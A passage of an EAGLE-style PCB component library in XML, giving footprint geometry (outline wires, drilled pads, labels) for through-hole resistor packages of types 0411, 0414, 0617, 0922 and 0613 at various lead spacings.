y2=\"1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"-3.302\" y2=\"-1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"-1.27\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-4.191\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"4.318\" y1=\"-0.3048\" x2=\"5.1816\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-5.1816\" y1=\"-0.3048\" x2=\"-4.318\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0411/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 12.5 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.461\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.461\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"-1.651\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"-1.651\" x2=\"-4.699\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-4.699\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"1.905\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"-1.905\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"3.937\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"3.937\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"2.032\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"-2.032\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-5.08\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.5814\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.3594\" y1=\"-0.381\" x2=\"-5.08\" y2=\"0.381\" layer=\"21\"/>\n<rectangle x1=\"5.08\" y1=\"-0.381\" x2=\"5.3594\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0411/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 15 mm</description>\n<wire x1=\"5.08\" y1=\"-1.651\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"-1.651\" x2=\"-4.699\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-4.699\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"1.905\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"-1.905\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"3.937\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"3.937\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"2.032\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"-2.032\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.35\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"6.35\" y1=\"0\" x2=\"7.62\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-5.08\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.5814\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"5.08\" y1=\"-0.381\" x2=\"6.477\" y2=\"0.381\" layer=\"21\"/>\n<rectangle x1=\"-6.477\" y1=\"-0.381\" x2=\"-5.08\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0411V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 3.81 mm</description>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.3048\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"-1.5748\" y1=\"0\" x2=\"-2.54\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-0.508\" y=\"1.143\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.5334\" y=\"-2.413\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.4732\" y1=\"-0.381\" x2=\"0.2032\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0414/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0414, grid 15 mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.604\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.604\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.096\" y1=\"1.905\" x2=\"-5.842\" y2=\"2.159\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.096\" y1=\"-1.905\" x2=\"-5.842\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.842\" y1=\"-2.159\" x2=\"6.096\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.842\" y1=\"2.159\" x2=\"6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.096\" y1=\"-1.905\" x2=\"-6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.842\" y1=\"2.159\" x2=\"-4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"2.032\" x2=\"-4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.842\" y1=\"-2.159\" x2=\"-4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"-2.032\" x2=\"-4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"-4.826\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"-2.032\" x2=\"4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"-2.032\" x2=\"-4.826\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"2.159\" x2=\"4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"-2.159\" x2=\"4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-1.905\" x2=\"6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.096\" y=\"2.5654\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"6.096\" y1=\"-0.4064\" x2=\"6.5024\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-6.5024\" y1=\"-0.4064\" x2=\"-6.096\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0414V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0414, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.381\" y=\"1.1684\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-2.3622\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.2954\" y1=\"-0.4064\" x2=\"1.2954\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0617/17\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 17.5 mm</description>\n<wire x1=\"-8.89\" y1=\"0\" x2=\"-8.636\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.874\" y1=\"3.048\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"2.794\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"-3.048\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"-2.794\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"-6.731\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"-6.731\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"1.016\" x2=\"-8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"1.016\" x2=\"-8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"-2.667\" x2=\"8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.016\" x2=\"8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.255\" y1=\"1.016\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"0\" x2=\"8.89\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"2.667\" x2=\"-7.874\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-7.874\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"8.255\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-8.89\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"8.89\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.128\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.096\" y=\"-0.7112\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-8.5344\" y1=\"-0.4064\" x2=\"-8.2296\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"8.2296\" y1=\"-0.4064\" x2=\"8.5344\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"0617/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 22.5 mm</description>\n<wire x1=\"-10.287\" y1=\"0\" x2=\"-11.43\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"3.048\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"2.794\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"-3.048\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"-2.794\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"-6.731\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"-6.731\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"-2.667\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.287\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"2.667\" x2=\"-7.874\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-7.874\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"8.255\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.255\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.477\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.1854\" y1=\"-0.4064\" x2=\"-8.255\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"8.255\" y1=\"-0.4064\" x2=\"10.1854\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0617V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 5 mm</description>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"0.635\" y=\"1.4224\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0.635\" y=\"-2.6162\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.3208\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0922/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0922, grid 22.5 mm</description>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.795\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-11.43\" y1=\"0\" x2=\"-10.795\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-10.16\" y1=\"-4.191\" x2=\"-10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.779\" y1=\"4.572\" x2=\"-8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.636\" y1=\"4.318\" x2=\"-8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.779\" y1=\"-4.572\" x2=\"-8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.636\" y1=\"-4.318\" x2=\"-8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"4.318\" x2=\"8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"4.318\" x2=\"-8.636\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"-4.318\" x2=\"8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"-4.318\" x2=\"-8.636\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.779\" y1=\"4.572\" x2=\"8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.779\" y1=\"-4.572\" x2=\"8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-4.191\" x2=\"10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"-4.191\" x2=\"-9.779\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-10.16\" y1=\"4.191\" x2=\"-9.779\" y2=\"4.572\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"9.779\" y1=\"-4.572\" x2=\"10.16\" y2=\"-4.191\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"9.779\" y1=\"4.572\" x2=\"10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-10.16\" y=\"5.1054\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.477\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.7188\" y1=\"-0.4064\" x2=\"-10.16\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"10.16\" y1=\"-0.4064\" x2=\"10.3124\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-10.3124\" y1=\"-0.4064\" x2=\"-10.16\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"10.16\" y1=\"-0.4064\" x2=\"10.7188\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"P0613V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0613, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.254\" y=\"1.143\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.254\" y=\"-2.413\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.2954\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"P0613/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0613, grid 15 mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.985\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.985\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"2.032\" x2=\"-6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.477\" y1=\"-2.032\" x2=\"-6.223\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"6.477\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.223\" y1=\"2.286\" x2=\"6.477\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.223\" y1=\"2.286\" x2=\"-5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"2.159\" x2=\"-5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.223\" y1=\"-2.286\" x2=\"-5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"-2.159\" x2=\"-5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"2.159\" x2=\"5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"2.159\" x2=\"-5.207\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.159\" x2=\"5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.159\" x2=\"-5.207\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"2.286\" x2=\"5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-0.635\" x2=\"6.477\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-0.635\" x2=\"6.477\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"2.032\" x2=\"6.477\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"-2.032\" x2=\"-6.477\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"0.635\" x2=\"-6.477\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"0.635\" x2=\"-6.477\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" 